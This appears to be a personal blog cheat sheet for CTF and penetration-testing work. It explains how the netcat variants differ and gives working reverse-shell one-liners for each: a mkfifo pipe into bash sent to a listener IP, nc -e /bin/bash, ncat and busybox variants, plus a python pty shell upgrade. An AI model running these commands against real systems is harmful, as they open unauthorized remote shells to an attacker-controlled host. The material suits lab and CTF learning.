which $(nc) && when?

Admittedly it’s been a while since I’ve sat down and done a proper CTF.

Recently I was trying to get a proof of concept working and I came to the realization that the slight variations of netcat basics were throwing me off during a somewhat time sensitive situation. As such, here is some notes I put together of some footguns to be aware of in the future so I can not waste my valuable brain juice re-remembering this.

TLDR; Avoid shooting yourself in the foot. Run this oneliner to check for the version of netcat running a different versions are often aliased to the same nc command.

# Run this to check if netcat is traditional or openBSD netcat
VERSION=$(netcat -h 2>&1); if echo "$VERSION" | grep -q "Ncat"; then echo "Ncat (Nmap)"; elif echo "$VERSION" | grep -q "connect to somewhere"; then echo "Traditional"; elif echo "$VERSION" | grep -q "OpenBSD"; then echo "OpenBSD"; elif echo "$VERSION" | grep -q "BusyBox"; then echo "BusyBox"; else echo "Unknown"; fi

Netcat

When someone says “netcat” (or runs nc) they’re probably talking about the OpenBSD version. This comes installed on many Linux distros by default.

OpenBSD Netcat

The openBSD version of netcat removes some of the original functionality of netcat. Installed by default on many versions of Linux

Note
The manual is explicit about this

Listen for a connection:

# Listen on port 1337
nc -nvlp 1337

For “security”, the OpenBSD version of netcat does NOT support the -e option. To work around this, we can create a named pipe that will allow the processes to communicate

Note
A named pipe behaves similar to a file in that it is accessible as a file-system entry, but is treated as a pipe (|) in that it streams data between processes.

To accomplish this:

  1. Remove /tmp/shell (If we’ve done this multiple times)
  2. Create a named pipe, /tmp/shell on our local machine.
  3. Read data from /tmp/shell
  4. Anything in /tmp/shell is executed by bash
  5. Any output is sent back through netcat
rm /tmp/shell ; mkfifo /tmp/shell && cat /tmp/shell | /bin/bash -i 2>&1 | nc 192.168.1.211 1337 > /tmp/shell

Traditional netcat

Traditional netcat is more straightforward to get a reverse shell from due to the inclusion of the -e and -c options which allow for executing shell commands.

Listen for a connection:

netcat -nvlp 1337
# -e to exec /bin/bash
netcat 192.168.1.211 1337 -e /bin/bash
# -c to exec /bin/sh
netcat -c /bin/sh 192.168.1.211 1337

Ncat

TLDR; Rewrite of netcat, more robust, probably less common to encounter installed on target systems.

Listen for a connection

# Listen on port 1337
ncat -nvlp 1337
# Connect to port 1337
ncat 192.168.1.3 1337 -e /bin/bash

Note
You must provide the full path when using the -e option. nc 192.168.1.3 1337 -e bash will NOT work. I recently shot myself in the foot with this. You will receive a connection in your listener but it will instantly close as bash is not in the execution path. To fix, use the absolute path /bin/bash.

Busybox nc

The busybox software package that contains multiple common utilities condensed into a single binary, you’ll sometimes run into this if working in weird embedded systems, containers, etc.

Listen for a connection

busybox nc -lp 1337

Make a connection:

busybox nc 10.221.32.152 1337 -e /bin/sh

Note
In busybox netcat, you may not receive any indication of a successful connection. Just be aware of this.

Upgrading the shell

Sometimes it’s helpful to have a better shell. There are multiple ways to do so, but a simple one is using python (if available).

python3 -c 'import pty; pty.spawn("/bin/bash")'

References

  • Further reading: https://blog.ikuamike.io/posts/2021/netcat/
  • Good reference: https://www.revshells.com/